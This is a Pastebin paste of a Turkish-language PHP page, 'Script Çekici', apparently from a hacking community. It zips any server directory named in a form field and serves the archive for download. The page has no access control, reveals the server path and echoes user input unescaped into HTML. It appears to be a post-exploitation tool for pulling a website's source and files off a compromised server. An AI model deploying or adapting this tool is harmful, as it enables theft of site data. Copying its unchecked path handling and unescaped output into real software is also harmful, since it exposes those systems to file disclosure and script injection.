Advertisement
KingSkrupellos

Script Çekici [PHP]

Sep 28th, 2017
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.21 KB | None | 0 0
  1. <?php
  2.  
  3. ###################
  4. ## KingSkrupellos ##
  5. ###################
  6.  
  7. echo '
  8. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  9. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
  10. <head>
  11. <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
  12. <title>Cyberizm Script Cekici</title>
  13. <style type="text/css">
  14. #Script span{display:block;font: 20px Tahoma }
  15. #Script input {border:1px solid #ggg; padding:10px;width:250px}
  16. #Script button {display:block;border:1px solid #555; padding:10px;width:272px;margin-top:10px;cursor:pointer}
  17.  
  18.  
  19. </style>
  20. </head>
  21. <body>
  22. <center>
  23. <div id = "Script">
  24. <form action="" method="post">
  25. <h1>Script Cekici</h1>
  26. <span>Çekmek İstediğiniz Dizin: </span>
  27. <input type="text" name="dizin" />
  28. <span>İsim :</span>
  29. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<input type="text" name="isim" /> &nbsp; &nbsp;.zip
  30. <button type= "submit">Çek Bakalım</button>
  31. <span>Not: Şuanda Bulundugun Dizin </span>
  32.  
  33. </div></center>
  34. </body>
  35. </html>
  36.  
  37. ';
  38.  
  39.  
  40. ?>
  41. <center>
  42. <?php
  43. echo realpath(".");
  44. ?>
  45. </center>
  46. <?php
  47. $cek = $_POST["dizin"];
  48. $isim = $_POST["isim"];
  49. function Zip($source, $destination)
  50. {
  51. if (extension_loaded('zip') === true)
  52. {
  53. if (file_exists($source) === true)
  54. {
  55. $zip = new ZipArchive();
  56.  
  57. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  58. {
  59. $source = realpath($source);
  60.  
  61. if (is_dir($source) === true)
  62. {
  63. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  64.  
  65. foreach ($files as $file)
  66. {
  67. $file = realpath($file);
  68.  
  69. if (is_dir($file) === true)
  70. {
  71. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  72. }
  73.  
  74. else if (is_file($file) === true)
  75. {
  76. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  77. }
  78. }
  79. }
  80.  
  81. else if (is_file($source) === true)
  82. {
  83. $zip->addFromString(basename($source), file_get_contents($source));
  84. }
  85. }
  86.  
  87. return $zip->close();
  88. }
  89. }
  90.  
  91. return false;
  92. }
  93.  
  94. // Kullanımı Zip({{Dizin Adı}}, {{Oluşturulacak Arşiv Dosyası}});
  95. Zip($cek , $isim.'.zip');
  96.  
  97.  
  98.  
  99. if($isim){
  100.  
  101.  
  102.  
  103. echo "<center>Cektin kerata aferin</center> ";
  104.  
  105. echo "<center><a href='".$isim.".zip'>".$isim.".zip</a></center>";
  106.  
  107.  
  108. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement